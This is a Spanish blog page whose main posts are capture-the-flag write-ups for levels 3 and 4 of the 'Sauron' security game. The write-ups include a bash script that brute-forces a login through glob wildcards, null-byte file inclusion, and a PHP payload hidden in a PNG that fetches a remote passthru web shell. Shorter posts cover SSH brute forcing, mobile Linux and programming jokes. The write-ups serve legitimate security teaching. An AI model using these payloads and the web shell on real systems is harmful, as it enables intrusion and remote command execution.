Febrero 28th, 2008SecGame #1: Sauron – Resolución Nivel 4
Saludos a todos,
esta vez con un día de retraso, acudimos a la cita de intentar desentrañar el fallo de seguridad oculto en este nivel, y como siempre, esperamos que todos aquellos que poco a poco aprendéis con estas guías, podáis seguir profundizando más. Dicho esto, vamos a empezar a resolver el nivel 4 en su modo de juego sencillo. Para el modo avanzado, aquellos que lo estén jugando y tengan alguna duda concreta estaremos encantados de resolverla por email.
Este es el aspecto que presenta el nivel 4. Dividido en 4 secciones:
- Información sobre el sistema
- Administración de MySQL mediante MySQL Admin
- Visualización de Estadísticas
- Cambio de parámetros
Sobre la visualización de estadísticas, poco hay que comentar. Ya nos es familiar porque ya hemos accedido a ella, pero desde otro lugar, durante el nivel 2, por tanto no aporta nada a lo que ya conocemos.
Luego existen 2 partes que contienen aplicaciones públicas, por un lado tenemos phpSysInfo, y por otro phpMyAdmin. En la idea original de este juego está el que no sea necesario el uso de fallos en aplicativos públicos para superarlo, siendo así por un motivo bien sencillo: con el paso del tiempo uno o todos los aplicativos que existen instalados en la máquina virtual serán susceptibles de fallos.
No obstante, podemos evaluar la seguridad de estas versiones, y ver que no parecen existir exploits públicos relevantes para las mismas. Existe un XSS en phpSysInfo, poco relevante para una explotación efectiva, al igual que otro en phpMyAdmin. Comentar como apunte que el hecho de que a fecha de hoy no parezcan existir ataques relevantes no quiere decir, evidentemente, que en un futuro no puedan aparecer, e incluso, y dado que son aplicaciones de código abierto, una vez agotadas el resto de vías, es posible que una revisión exhaustiva de su código fuente, y de su ejecución, pueda revelarnos fallos de seguridad no públicos.
Sin embargo, en el caso que nos ocupa, antes de llegar a la revisión de código público, hay que percatarse de la sección “Cambio de parámetros” la cual permite la subida de un fichero al servidor. Ésta *siempre* es una función crítica y debe ser evaluado su riesgo, ya que permitirá al atacante subir algún tipo de contenido a nuestro sistema.
Para el caso que nos ocupa, podemos darnos cuenta que la robustez y codificación de la subida de imágenes es la apropiada:
- Únicamente permite ficheros con extensión PNG
- El tamaño del fichero está limitado a 8KB
- El contenido del fichero debe corresponder con una imagen PNG
Esto hace que no podamos subir un fichero renombrado como .PNG, sino que debamos subir un gráfico PNG, limitado a 8KB, y con extensión PNG. Por tanto, a priori, podemos pensar que no existe posibilidad alguna de explotar ningún fallo. Bien, veremos que no es así.
Lo primero que debemos plantearnos es: ¿en una imagen PNG únicamente puede existir eso?. La respuesta es que no. Nada más sencillo que concatenar al final de un fichero PNG, código ejecutable en formato PHP. Para ello, a partir de una imagen PNG de menos de 8KB y válida para subirla al servidor, hacemos lo siguiente:
$ cat >> img.png
<? phpinfo(); ?>
Para los no familiarizados con UNIX, decir que simplemente hemos añadido al final del fichero ese código PHP. Una vez hecho esto, tendremos un fichero válido, en formato PNG, que contiene al final del mismo un código PHP. Este fichero podrá ser subido al servidor.
¿Y ahora qué?. Ahora queda percatarse de un par de detalles importantes. El primero, ¿cómo se llama el fichero que contiene la imagen?. En este caso, el fichero de imagen es: http://www.blindware.inc/_controlp/image.php, o dicho de otra forma, un fichero PHP se encarga de servir la imagen, de la que aún desconocemos su nombre y ubicación. ¿Cómo podemos saberla?. Pues haciendo uso del error que vimos en el nivel 3 dentro del fichero index.php, que permitía la lectura de ficheros. Con ese error leemos el contenido de image.php:
<? header(”Content-Type: image/png”); readfile(”01.png”); ?>
Por tanto, nuestro fichero subido sabemos que se llama “01.png” y que se encuentra en el mismo directorio de /_controlp/ que el resto de datos. ¿Cómo podemos explotar el fichero con contenido PHP?. En este caso concreto, es cuando se puede apreciar, como la subida de ficheros maximiza el riesgo de otro de los fallos encontrados en el nivel 3. Si recordamos además de leer ficheros mediante el error localizado en index.php, podemos incluir ficheros para ser procesados por PHP desde un error con idéntica explotación localizado en login.php. Al hacerlo obtenemos como resultado de incluir nuestro fichero 01.png manipulado lo siguiente:
Como vemos, el contenido de la instrucción phpinfo() se muestra a continuación de los datos contenidos en la imagen. Esta información puede ser poco relevante, pero para la explotación efectiva únicamente hay que construir un exploit ligeramente más elaborado, que bien pudiera ser el que vamos a comentar a continuación.
El objetivo del exploit es conseguir crear una shell en PHP dentro de esta máquina. Para ello, el código que proponemos incluir dentro de la imagen es el siguiente:
<? copy(“http://ip/shell.txt”,”shell.php”); ?>
Vaya por delante que la explotación se puede realizar de muchas maneras. Nosotros por elegancia, siempre proponemos que el código a incluir en el exploit sea mínimo. En este caso, el exploit únicamente copia una shell remota localizada en shell.txt al servidor victima.
El contenido de shell.txt puede ser el siguiente:
<?
header(“Content-Type: text/plain”);
passthru($_GET[“cmd”);
?>
El objetivo de este script es ejecutar el comando que pasemos como parámetr en la variable “cmd”. De tal forma, si ahora subimos la imagen con el primer código al servidor, y colocamos en la IP de un servidor web que usemos para el ataque el fichero “shell.txt”, debemos conseguir que este se copie al servidor y acceder a él desde la dirección http://www.blindware.inc/_controlp/shell.php
Aquí aparece un problema. Al acceder a esa URL veremos que no aparece nada, y es que hay un detalle importante siempre que subamos contenido ejecutable a un servidor. A priori no sabemos qué permisos serán necesarios para su ejecución, y la función copy lo más probable es que haya creado un fichero con permisos 644. Para ello podemos verificar qué permisos tienen los ficheros php de los que conocemos su existencia. En este caso los ficheros deben tener permisos 755. Por ello tenemos que modificar ligeramente el exploit a incluir dentro del fichero PNG al siguiente:
<? copy(“http://ip/shell.txt”,”shell.php”); chmod(“shell.php”,0755); ?>
Nota: importante colocar un 0 delante del 755, sino no conseguiremos los permisos rwxr-xr-x
Hecho esto, tendremos acceso al sistema de forma remota y habremos superado el nivel, como muestran las siguientes URLs:
http://www.blindware.inc/_controlp/shell.php?cmd=uname%20-a
Linux sauron 2.6.18-1.2798.fc6 #1 SMP Mon Oct 16 14:54:20 EDT 2006 i686 i686 i386 GNU/Linux
http://www.blindware.inc/_controlp/shell.php?cmd=id
uid=500(blindware) gid=500(blindware) groups=500(blindware)
Hasta aquí ha llegado este 4º nivel, en el que hemos avanzado de nuevo hasta conseguir ejecutar comandos en el servidor. Os esperamos dentro de 15 días con el siguiente nivel.
Leer entradas relacionadas:
Febrero 27th, 2008Ubuntu mobile en dispositivos HTC
Desde hace ya un tiempo existen alternativas para poder tener en nuestros dispositivos móviles el S.O. Linux que tanto nos gusta. Los usuarios de PDA’s conocerán con creces el proyecto Familiar Linux que desarrollaban para diferentes PDA’s de diferentes marcas.
Con el tiempo los pocket phone comenzaron ha abrir mercado y HTC se abrió un hueco importante, siendo el fabricante de hardware “más conocido” por Movistar, Vodafone… Todos ellos con Windows Mobile.
El problema de que un fabricante de hardware se involucrara en lanzar un dispositivo móvil con linux es el tener una empresa que de soporte para su hardware. Para qué mojarse la propia empresa si ya dispone de otra que se lo ofrece, ejm: Microsoft.
Canonical por su parte, ha logrado con creces el llegar al mercado de los usuarios domésticos y a empresas dando el soporte que tanto se ansia en acuerdos con fabricantes. Con todo esto quiero llegar a que ya se comienza a especular en Internet de que HTC lanzará o desea lanzar un dispositivo con sistema Linux.
Ahora Ubuntu está dando a conocer su Ubuntu Mobile, estoy seguro que no tardarán en tener acuerdos con HTC para la satisfacción de todos aquellos usuarios que hemos jugado con las ROM’s de nuestros PDA’s para tal ansioso cambio.
¿Vosotros que opináis? ¿Os gustaría que tener la posibilidad de adquirir un dispositivo móvil ahorrándote el coste de licencia de un Windows Mobile?
Leer entradas relacionadas:
Febrero 24th, 2008Brute Force con medusa to SSH
A modo didáctico dedique unas horas a investigar como se realizaban estos ataques.
El objevito era mi servidor local con ubuntu 7.10, con ssh activado al que iba a intentar “forzar”.
Para no andar enguarrando mi sistema con librerias, instalaciones y configuraciones que solo serían para la demostración me encontré con esta distribución live que ya disponía de varias herramientas.
http://www.remote-exploit.org/backtrack.html
Esta distribución live ya dispone de Jonh The Riper. Pero aún así el wordlist que utilicé para el brute force fue:
ftp://ftp.cerias.purdue.edu/pub/dict/wordlists/spanish/words.spanish.gz
Podemos ver como funciona esta herramienta en un video:
http://icaix.com/tutoriales/bruteForce.htm
En este video se puede observar como tras andar probando contraseñas contra el puerto ssh del objetivo acaba encontrando la contraseña adecuada.
Bien, tras tener las herramientas a probar y sabiendo como utilizarlas me dispuse a realizar la prueba de ataque a mi servidor local.
El resultado no fue el esperado, ya que un ataque por SSH a los 5 intentos del brute force rechazaba más intentos. Lo que primero intenté fue agregar más parametros al comando de “ataque” para así intentar hacer más intentos. Los resultados no obtuvieron éxito.
Entonces podemos confirmar que este tipo de ataques caen en el olvido y serían técnicas del “pasado”. Hablo de mi ignorancia del tema y del tiempo que he podido disponer para realizar estas pruebas.
No obstante es entretenida la prueba y conocer como funciona. Esta herramienta es válida para intentar “forzar” la entrada a diferentes servicios, entre los que se incluye VNC, FTP…
Os recomiendo que probar esta herramienta, aunque eso sí, tener en cuenta que si intentáis acceder a una máquina que no sea de vuestra propiedad se considera una acción ilegal.
Leer entradas relacionadas:
Febrero 14th, 2008SecGame #1: Sauron – Resolución Nivel 3
Saludos nuevamente,
esperamos que aquellos que van siguiendo estas resoluciones e intentando completar los niveles semanalmente, hayan conseguido desentrañar el reto tras este tercer nivel, o al menos se hayan aproximado mucho. El planteamiento para resolverlo hemos de admitir que no es tan trivial como los anterioresl, quizá junto con el último reto, sean los únicos donde el ingenio debe primar por encima de los conocimientos técnicos, aunque estos también deben de existir. Sin más, vamos con la resolución, que esperamos sea del agrado de todos. Decir que la resolución se hará sobre el nivel de complejidad básico, pues aún siendo más fácil de resolver, presenta fallos más ricos y mucho más instructivos que el modo de complejidad elevado. La resolución, aunque similar es cierto que tiene algunas divergencias. Para todos aquellos que estén jugando el modo complejo, si necesitan alguna indicación pueden ponerse en contacto con nosotros por email.
Hasta este nivel 3 habíamos estado buceando en un aplicativo externo, y estático. Encontrar el directorio /_controlp/, supone haber encontrado un punto donde podemos insertar información en la lógica del aplicativo. Siempre que nos encontremos en esta situación lo recomendable es chequear qué sucede adulterando los parámetros proporcionados por el usuario en busca de una malformación que nos muestre mensajes de error, o que cambie el comportamiento esperado y habitual.
Para ello, esta ocasión en vez de hacerlo manualmente, y con el fin de aumentar lo didáctico de la explotación, vamos a usar un Fuzzer, en este caso JBroFuzz v0.6, aunque cada cual puede usar el que guste, o prefiera. ¿Cuál es el cometido de un Fuzzer?. Básicamente probar una combinación de parámetros sobre las entradas que seleccionemos, para proporcionarnos todas las salidas que esa información produce, de tal forma que no tengamos que estar verificando a mano, cada una de las posibles entradas del aplicativo, en busca de los citados comportamientos anómalos.
En nuestro caso el PATH sobre el que realizaremos el fuzzing, será:
- /_controlp/login.php?login=test&password=test&select=grey
Concretamente sobre las variables “login”, “password” y “select”, a las cuales someteremos a pruebas de SQL Injection y XSS Scripting, lo cual originará aproximadamente unas 71 peticiones diferentes para estos contenidos.
Es momento para hacer un paréntesis. Los fuzzers, son tan productivos, o tan improductivos, como “oculto” esté el fallo de seguridad que queremos revelar. En caso de ser fallos complejos de ver, el fuzzer, por lo sistemático de su funcionamiento, nos será de ayuda. En el caso de ser errores fácilmente detectables, el fuzzer únicamente nos va a generar una cantidad ingente de información a revisar, que en el mejor de los casos nos dirá lo mismo, que podíamos haber comprobado en 10 segundos, haciéndolo a mano.
En el caso que nos ocupa, el fuzzing, no nos devuelve nada que no podamos verificar de forma manual: la variable “select” es usada para incluir un template almacenado en disco. Cambiar este valor, provoca un fallo en el acceso al template, y nos muestra una alerta de PHP. Antes de continuar aclarar una cosa, que el fuzzer únicamente haya visto ese fallo no significa que sea el único que existe. Esto siempre hay que tenerlo presente. Las herramientas, nos ayudan a auditar, pero nunca dan verdades absolutas. Veamos la alerta.
Warning: include(./test.inc) [function.include]: failed to open stream: No such file or directory in /var/www/blindware/htdocs/_controlp/login.php on line 14
Warning: include() [function.include]: Failed opening ‘./test.inc’ for inclusion (include_path=’.:/usr/share/pear:/usr/share/php’) in /var/www/blindware/htdocs/_controlp/login.php on line 14
Como hemos dicho tenemos una lectura desde disco mediante la función INCLUDE de PHP. Esta función, por defecto, lee un fichero, de disco local, o de forma remota ( http, ftp, smb ) y lo interpreta como un fichero PHP procesando su contenido. En el caso que nos ocupa, está restringida al sistema de ficheros local, buscando el fichero “./” + nuestro valor + “.inc”. Es evidente que en el momento que no usamos valores por defecto “grey”, “blue” o “red” se produce un fallo al no encontrarse el fichero en el disco.
Generalmente la primera verificación ante este tipo de mensajes suele ser: ¿podemos escalar directorios?. Es decir, ¿podemos salir del directorio en el que nos encontramos haciendo uso de la cadena “../” y retrocediendo en la ruta relativa?. En este caso al comprobarlo obtenemos el siguiente mensaje:
Hacking Attemped Detected!
Your ip 192.168.200.1 are logged
En caso de que se nos permitiera hacerlo, podríamos estar ante una escalada de privilegios local. Puesto que sería posible hacer que la web incluyera, por ejemplo, un fichero en “../../../../../../../../../../../../tmp/prueba.inc”. Con lo cual conseguiríamos, si fuéramos usuarios de la máquina, modificar nuestros privilegios a los del usuario que ejecutase el script dentro del árbol web, o incluso siendo usuarios remotos, la posibilidad de mediante una condición de carrera de accerder a la máquina remotamente. Sin embargo, en el caso que nos ocupa no es así. Y únicamente podemos incluir ficheros dentro del directorio en el que se encuentra el script.
Por tanto, nuestra principal posibilidad para explotar un posible fallo de seguridad, según lo visto, depende de que podamos modificar la cadena a incluir. Pasando de ser “./nuestra_entrada.inc” a “./nuestra_entrada” y permitiéndonos incluir cualquier fichero de ese directorio.
Conseguir esta explotación efectiva depende de que la configuración de PHP permita lo que se conoce como “Null Byte Injection”. Dicho de otra forma: la injección de un byte nulo en la entrada del usuario. ¿Qué conseguimos con esto? Las cadenas, en PHP, como en otros lenguajes, se delimitan con un “\0” ( Null Byte ). De esta forma, si conseguimos introducir “nuestra_entrada\0”, la cadena quedará cortada y nos desaremos de la subcadena “.inc” que coloca el aplicativo.
La explotación de Null Byte Injections en PHP se realiza introduciendo en la cadena “% 00” al final de la entrada de usuario. Esta explotación será posible, siempre que la directiva MAGIC_QUOTES_GPC se encuentre desactivada en el fichero “php.ini”, o la cadena no sufra ningún preproceso por funciones como addslashes o urlencode. Como nota adicional, en PHP4, MAGIC_QUOTES_GPC se encontraba activo por defecto, sin embargo, en PHP5, y por motivos de rendimiento, se supone que para mejorarlo, esta directiva se encuentra desactivada en un gran número de configuraciones, quedando a merced del programador someter a las entradas de usuario a las comprobaciones pertinentes.
Ahora nos resta probar esta teoría, intentando la inclusión del fichero “login.php”. Para ello, solicitamos la siguiente url:
- http://www.blindware.inc/_controlp/login.php?login=f&password=f&select=login.php% 00
La cual nos confirma que es posible usar null bytes, devolviendo el siguiente mensaje:
Fatal error: Allowed memory size of 16777216 bytes exhausted (tried to allocate 14592 bytes) in /var/www/blindware/htdocs/_controlp/login.php on line 26
Este error, que puede parecer un poco críptico, y es muy diferente al anterior está motivado por un bucle de inclusión repetida, que lleva al proceso de PHP a consumir la memoria disponible para él (16MB). De esta forma confirmamos que es posible incluir otros ficheros, pero que lamentablemente no debemos incluir login.php sobre él mismo, puesto que cae en un bucle de inclusión repetida ( como por otra parte se podía preveer ).
¿Qué fichero podemos incluir entonces?. Lo más razonable, sencillo y directo es hacer la inclusión sobre el propio “index.php”.
- http://www.blindware.inc/_controlp/login.php?login=f&password=f&select=index.php% 00
Una vez hecha esta petición comprobaremos en el código fuente de la página devuelta, al principio del mismo, hemos obtenido el código PHP del fichero “index.php”.
- <?php
- if (isset($_GET["select"])) {
- if (!ereg(’^[^./][^/]*$’,$_GET["select"])) {
- readfile(”./grey.inc”);
- include(”./hacking.inc”);
- exit(-1);
- if (!ereg(’^[^./][^/]*$’,$_GET["select"])) {
- if (isset($_GET["select"])) {
-
-
- } else {
- $open = $_GET["select"];
- }
- } else {
-
-
- } else {
- $open = “grey”;
- }
- } else {
-
- readfile(”./”.$open.”.inc”);
- readfile(”./login.inc”);
- ?>
En negrita se ha resaltado la función que permite explotar la vulnerabilidad de lectura remota de ficheros dentro del path permitido. Si nos fijamos detenidamente la variable “$select” sufre un proceso de sanitización, en el cual se controla la inclusión de rutas como puedan ser las que contienen la ‘/’ o el ‘./’. Sin embargo, esta comprobación no puede chequear una inclusión de un byte nulo. Por ello, y dado que la directiva MAGIC_QUOTES_GPC está inhabilitada, se produce inclusión del fichero falicitado como parámetro a la variable “$select”.
Aquí vamos a hacer un pequeño paréntesis. El código fuente del fichero “index.php” lo hemos obtenido desde él mismo mediante la función readfile vulnerable a lectura remota de ficheros que contiene. Dicho de otra forma, el fichero index.php ha sido incluido ( y por tanto procesado por PHP ) desde el fichero login.php, y dado que las funciones “include” interpretan código, jamás hubiésemos visto el código fuente, si en el fichero index.php no existiera una llamada a readfile en vez de a include.
Una vez localizado el fallo que permite la lectura remota de ficheros, debemos aprovecharlo para obtener la mayor información posible sobre el escenario, en este caso, consistirá en la lectura del código fuente localizado en el fichero login.php, permitiéndonos comprender el funcionamiento del proceso de login.
- http://www.blindware.inc/_controlp/index.php?select=login.php% 00
- <?php
- if (isset($_GET["select"])) {
- if (!ereg(’^[^./][^/]*$’,$_GET["select"])) {
- include(”./grey.inc”);
- include(”./hacking.inc”);
- exit(-1);
- if (!ereg(’^[^./][^/]*$’,$_GET["select"])) {
- if (isset($_GET["select"])) {
-
-
- } else {
- $open = $_GET["select"];
- }
- } else {
-
-
- } else {
- $open = “grey”;
- }
- } else {
-
- include(”./”.$open.”.inc”);
-
- if (isset($_GET["login"]) || isset($_GET["password"])) {
- $dir = glob($_GET["login"] . “_” . $_GET["password"]);
- if (!empty($dir)) {
- if ($dir[0] == $_GET["login"] . “_” . $_GET["password"]) {
- $pwd = $_GET["login"] . “_” . $_GET["password"];
- $RPL_MYSQL = $pwd . “/myadmin/”;
- $RPL_SYSINFO = $pwd . “/phpsysinfo/”;
- $RPL_SETTINGS= $pwd . “/update/”;
- $RPL_STATS = $pwd . “/stats/”;
- include(”./access.inc”);
- if ($dir[0] == $_GET["login"] . “_” . $_GET["password"]) {
- if (!empty($dir)) {
- $dir = glob($_GET["login"] . “_” . $_GET["password"]);
- if (isset($_GET["login"]) || isset($_GET["password"])) {
-
-
-
-
- } else {
- include(”./hacking.inc”);
- }
- } else {
-
-
-
-
-
-
- } else {
- include(”./access-failed.inc”);
- }
- }
- } else {
-
-
- ?>
El proceso de login, como se advertía al principio de la entrada, requiere de algo de ingenio para sobrepasarlo. A diferencia de otros procesos de login en este no existe una base de datos de usuarios central sobre la cual se haga ninguna consulta, bien sea con SQL, bien sea con LDAP. En lugar de eso, nos encontramos que los usuarios y contraseñas representan directorios del sistema con el formato “usuario_contraseña”, y de esa forma, cuando un usuario elige la contraseña de forma correcta, se permite el acceso a una serie de funcionalidades mediante las variables “RPL_”.
Este mecanismo de autenticación hace uso de la función glob de PHP. Esta función, consultando directamente la ayuda ofrecida por PHP podemos concluir que hace lo siguiente: La función glob() realiza una búsqueda por todos los nombres de ruta que coincidan con patrón de acuerdo a las reglas usadas por la función glob() de la biblioteca de C, las cuales son muy similares a las reglas usadas por intérpretes de comandos comunes.
Aquí es donde tiene que entrar en juego el ingenio. La función glob acepta patrones de búsqueda de ficheros, es decir, que se puede hacer uso del conocido patrón “*”. Si estamos en una suposición cierta, al introducir como usuario “*” y como contraseña “*” el sistema debe detectar la existencia de una ruta válida, puesto que el directorio “*_*” debe existir tanto en cuanto el * representa cualquier cadena de caracteres. Vamos a probarlo.
Hacking Attemped Detected!
Your ip 192.168.200.1 are logged
Bien, hemos conseguido modificar el comportamiento de la aplicación. Si nos percatamos un poco más en el código fuente que hemos conseguido leer, vemos que el autor fuerza a que el directorio encontrado por la función glob, coincida con el suministrado por el usuario, y en caso de que no sea así muestra la pantalla con el mensaje de hacking. Si lo pensamos detenidamente, esto produce una condición booleana, que permite una explotación muy similar a la de un Blind SQL Injection.
En este tipo de explotaciones lo incial es conocer cual es la longitud de los campos: en nuestro caso usuario y contraseña. Con la sintaxis de Glob lo podemos obtener mediante el carácter “?”, de tal forma, en el usuario introduciremos una interrogación ( sustituye a cualquier carácter una vez ), y en la contraseña pondremos un “*”, de esta forma, añadiendo cada vez una “?”, hasta obtener el mensaje de “Hacking …”, conoceremos la longitud del campo usuario.
Para conocer la longitud de la contraseña, procedemos de la misma forma, pero a la inversa, en el campo usuario, colocamos un “*”, y en el campo contraseña, iremos colocando “?”, hasta obtener la página de aviso de “Hacking …”.
Una vez conocida la longitud de ambos campos, sólo tenemos que ir probando el patrón “a*_*”, “b*_*” hasta obtener el aviso de “Hacking …”, y esa será la primera letra del usuario. Luego, suponiendo que sea una a, el patrón será “aa*_*”, para una vez conocido el usuario, continuar con la password. Este proceso, lo podemos hacer de forma manual, o programar un script que lo haga por nosotros.
En este caso, hemos decidido desarrollar, buscando lo didáctico, un script, denominado blindglob que nos permite explotar este fallo, aunque dudamos seriamente de la utilidad del mismo en algún escenario ajeno al descrito. No es el código más limpio que se haya programado en bash, ni mucho menos, pero ejemplifica lo descrito en los párrafos anteriores. Para su funcionamiento necesita de la utilidad “links” y de bash.
#!/bin/bash
if [ $# -ne 2 ]
then
echo “Blindglob v0.1 BETA”
echo “——————-”
echo “Usage: $0 url token”
echo “”
echo “<*> Tokens: _USER_ _PASS_”
echo “<*> Example: $0 http://domain/script?login=_USER_&password=_PASS_ Hacking”
exit
fi
echo “Blindglob v0.1 BETA”
echo “——————-”
echo “<*> Working …”
FIN=”no”
STRBRUTE=”abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789″
USERLEN=0;
PASSLEN=0;
# CALCULO DE LA LONGITUD DEL CAMPO USUARIO
URLX=$(echo $1 | sed -e “s/_USER_/•/” -e “s/_PASS_/*/”)
URL1=$(echo $URLX | cut -f1 -d”•”)
URL2=$(echo $URLX | cut -f2 -d”•”)
TOKEN=”?”
until [ "$FIN" = "end" ]
do
RET=$(links -dump “$URL1$TOKEN$URL2″)
if echo $RET | grep -q $2
then
FIN=”end”
fi
TOKEN=”$TOKEN?”
let “USERLEN=$USERLEN+1″
done
echo “<*> Longitud de usuario: $USERLEN”
# CALCULO DE LA LONGITUD DEL CAMPO PASSWORD
FIN=”no”
URLX=$(echo $1 | sed -e “s/_USER_/*/” -e “s/_PASS_/•/”)
URL1=$(echo $URLX | cut -f1 -d”•”)
URL2=$(echo $URLX | cut -f2 -d”•”)
TOKEN=”?”
until [ "$FIN" = "end" ]
do
RET=$(links -dump “$URL1$TOKEN$URL2″)
if echo $RET | grep -q $2
then
FIN=”end”
fi
TOKEN=”$TOKEN?”
let “PASSLEN=$PASSLEN+1″
done
echo “<*> Longitud de contraseña: $PASSLEN”
# CALCULO DEL USUARIO
FIN=”no”
URLX=$(echo $1 | sed -e “s/_USER_/•/” -e “s/_PASS_/*/”)
URL1=$(echo $URLX | cut -f1 -d”•”)
URL2=$(echo $URLX | cut -f2 -d”•”)
for count in $(seq 1 $USERLEN)
do
BRUTE=1
until [ "$FIN" = "end" ]
do
TOKEN=$USU$(echo $STRBRUTE | cut -c $BRUTE,$BRUTE)
RET=$(links -dump “$URL1$TOKEN*$URL2″)
if echo $RET | grep -q $2
then
FIN=”end”
let “BRUTE=$BRUTE-1″
fi
let “BRUTE=$BRUTE+1″
done
FIN=”no”
USU=$USU$(echo $STRBRUTE | cut -c $BRUTE,$BRUTE)
done
echo “<*> Usuario: $USU”
# CALCULO DEL PASSWORD
FIN=”no”
URLX=$(echo $1 | sed -e “s/_USER_/*/” -e “s/_PASS_/•/”)
URL1=$(echo $URLX | cut -f1 -d”•”)
URL2=$(echo $URLX | cut -f2 -d”•”)
for count in $(seq 1 $PASSLEN)
do
BRUTE=1
until [ "$FIN" = "end" ]
do
TOKEN=$PAS$(echo $STRBRUTE | cut -c $BRUTE,$BRUTE)
RET=$(links -dump “$URL1$TOKEN*$URL2″)
if echo $RET | grep -q $2
then
FIN=”end”
let “BRUTE=$BRUTE-1″
fi
let “BRUTE=$BRUTE+1″
done
FIN=”no”
PAS=$PAS$(echo $STRBRUTE | cut -c $BRUTE,$BRUTE)
done
echo “<*> Contraseña: $PAS”
El lanzamiento del script contra “Sauron” debe proporcionar una salida como la siguiente:
Blindglob v0.1 BETA
——————-
<*> Working …
<*> Longitud de usuario: 5
<*> Longitud de contraseña: 9
<*> Usuario: admin
<*> Contraseña: givemeany
De esta forma se concluye este tercer nivel habiendo superado el proceso de autenticación mediante el uso de 3 fallos combinados: la inyección de bytes nulos en cadenas, la lectura remota de ficheros, y la explotación a ciegas de la función glob.
Leer entradas relacionadas:
Febrero 11th, 2008Programadores matando un dragón
Hace mucho tiempo que tengo este en lace en mis marcadores y… creo que ha llegado el momento de publicar este contenido. Es como la vida misma.
Traducción de http://www.amauta.inf.br/index.php?option=com_content&task=view&id=1048&Itemid=29
Reir sigue siendo el mejor remedio (y es gratis)
Java – Llega, encuentra al dragón, desarrolla un framework para aniquilación de tragones en múltiples capas, escribe varios artículos sobre el framework… pero no mata al dragón.
.NET – Llega, ve la idea del desarrollador de Java y la copia, intenta matar al dragón, pero el bicho se lo come
C - Llega, mira al dragón con mirada de desprecio, tira de espada, degolla al dragón, encuentra a la princesa… y la ignora para ver los últimos checkins del cvs del kernel de linux
C++ – Crea un pincho básico y va juntando funcionalidades hasta tener una espada compleja que apenas consigue entender… mata al dragón pero se atasca en medio del puente por culpa de pérdidas de memoria (memory leaks)
COBOL – Llega, ve al dragón y piensa que es demasiado viejo para conseguir matar un bicho de ese tamaño y quedarse con la princesa, y entonces se va
Pascal – Se prepara durante 10 años para crear un sistema de aniquilación de dragones… cuando llega el momento descubre que el programa sólo acepta lagartijas como entrada
VB – Monta un arma de destrucción de dragones a partir de varios componentes, salta encima del lomo del dragón, y en la hora H descubre que la espada sólo funciona durante las noches de lluvia…
PL/SQL – Recoge datos de otros matadores de dragones, crea tablas con n relaciones de complejidad ternaria, datos en tres dimensiones, OLAP, tarda quince años para procesar la información… y para entonces la princesa se volvió lesbiana.
Ruby – Llega con muchísima fama, diciendo que es el mejor en hacer cualquier cosa y cuando va a enfrentarse al dragón muestra una peliculita en la que él mismo aparece matando a un dragón… el dragón se lo come de puro aburrimiento
Smalltalk - Llega, analiza al dragón y a la princesa, se da la vuelta y se pira: ellos son muy inferiores
shell – Crea un arma poderosa para matar dragones, pero en la hora H no recuerda como usarla
shell(2)- El tío se acerca al dragón con un script de dos líneas que mata, corta, destripa, empala, pica en pedacitos y empaca al bicho, pero a la hora de ejecutarlo el script aumenta, engorda, enfurece y pone alcohol en el fuego del dragón.
Ensamblador - Cree que está haciendo lo más correcto y eficiente… pero pone un A en lugar de un D y mata a la princesa para terminar follándose al dragón
Fortran – Llega y desarrolla una solución con 45 mil líneas de código, mata al dragón, va al encuentro de la princesa… pero ella le llama tirillas y se va corriendo detrás del programador de java que era elegante y además es rico
FOX PRO – Desarrolla un sistema para matar al dragón. Por fuera es precioso y funciona, pero por dentro está todo parcheado y cuando va a ejecutar el aniquilador de dragones recuerda que olvidó indexar los DBF.
ANALISTA DE PROCESOS – Se acerca al dragón con dos toneladas de documentación desarrollada sobre el proceso de matar un dragón genérico, desarrolla un DFD para liberar a la princesa y casarse con ella, convence al dragón de que es lo mejor para el y que no va a doler. Al ejecutar el proceso estima el esfuerzo y el tamaño del daño que causará con la firma del papa, de Buda y de Joan Manuel Serrat para el plano, y entonces compra dos bombas nucleares, 45 cañones, un portaaviones y contrata a 300 hombres armados hasta los dientes… cuando en realidad tan sólo necesitaría la espada que tenía en la mano desde el principio
CLIPPER: Monta una rutina que carga un array de codeblocks para insultar al dragón, cantarle a la princesa, cargar la espada a memoria, moler al dragón, limpiar la suciedad, preparar un vaso de leche condensada con moras para la princesa, follar a la princesa, darse un baño, encender el coche, ponerle gasolina y volver para casa. A la hora de ejecutar recibe un “Bound Error: Array Access” y el dragón se lo come con patatas
That?s all Folks? No, con el efecto Menéame y el efecto Barrapunto coaligados, me han dejado nuevos lenguajes en diferentes foros. Paso a relataros los que más me han gustado
Lisp, donde el famoso caballero andante, tras hablar con numerosos expertos en matar dragones y modelar el conocimiento que ellos poseen programa el sistema y se da cuenta… de que se ha dejado algún paréntesis (bender the offender, barrapunto)
HTML: Monta una web sobre espadas famosas usadas para matar dragones, pero se pasa los estándares W3C por el forro. Cuando se encara con el dragón descubre que el código no es compatible con su navegador, por lo que se queda compuesto y sin espada. El dragón se lo merienda como aperitivo. (Darkblade, barrapunto)
Prolog: Piensa que para matar al dragón necesita un arma. Busca en un catálogo 182014 armas. Para cuando la princesa muere de vieja ya ha logrado descubrir como fabricar todas las armas que empiezan por la A: Armas atómicas, Alabardas,Alfanges, Asesinos contratados, Armas blancas, Antiaéreos, Arcos, … (aquelquesiente)
PHP: Crea una página web que al ejecutarla eliminará al $dragón tirando de una base de datos de armas en mysql y sobre un servidor apache. Sin embargo, se olvidó el Where en la query de delete y mata a la princesa, al dragon, a los campesinos, a la bruja, al hechicero y al propio programador.
JavaScript: El programador intenta matar al gran dragón verde que lanza fuego por la boca. Crean un script que borrará al dragón cuando carge una página web para unos segundos después crear unas damiselas que lancen flores y hagan soniditos de aplausos. Por desgracia no tuvo en cuenta la estructura Dom del lagarto, también conocido como Mozilla, y lo único que consigue es rellenar su consola de errores y que el libro de mozilla narre como acabó devorado.
ActiveX: Los programadores crean un tunel para entrar a la guarida del dragón desde el castillo y ejecutar un programa que matará al dragón desde una distacia segura y prudencial. El dragón descubre el tunel, se come a los trabajadores que cavaban, a los matadores de dragones y esclaviza a todos los siervos del castillo que pasan a ser sus esclavos. El castillo pasa a ser un lugar de cría de dragones lleno crías que manda en pop ups a otros castillos. Los restos poco apetitosos de los caballeros los mete en latas de Spam y manda también a otros castillos como advertencia. (aquelquesiente)
Basic. Crean un arma capaz de matar a dragones de papel, pero mucho que la perfeccionan descubren que no sirve para matar a ningún dragón más grande que una cría de caniche. (aquelquesiente)
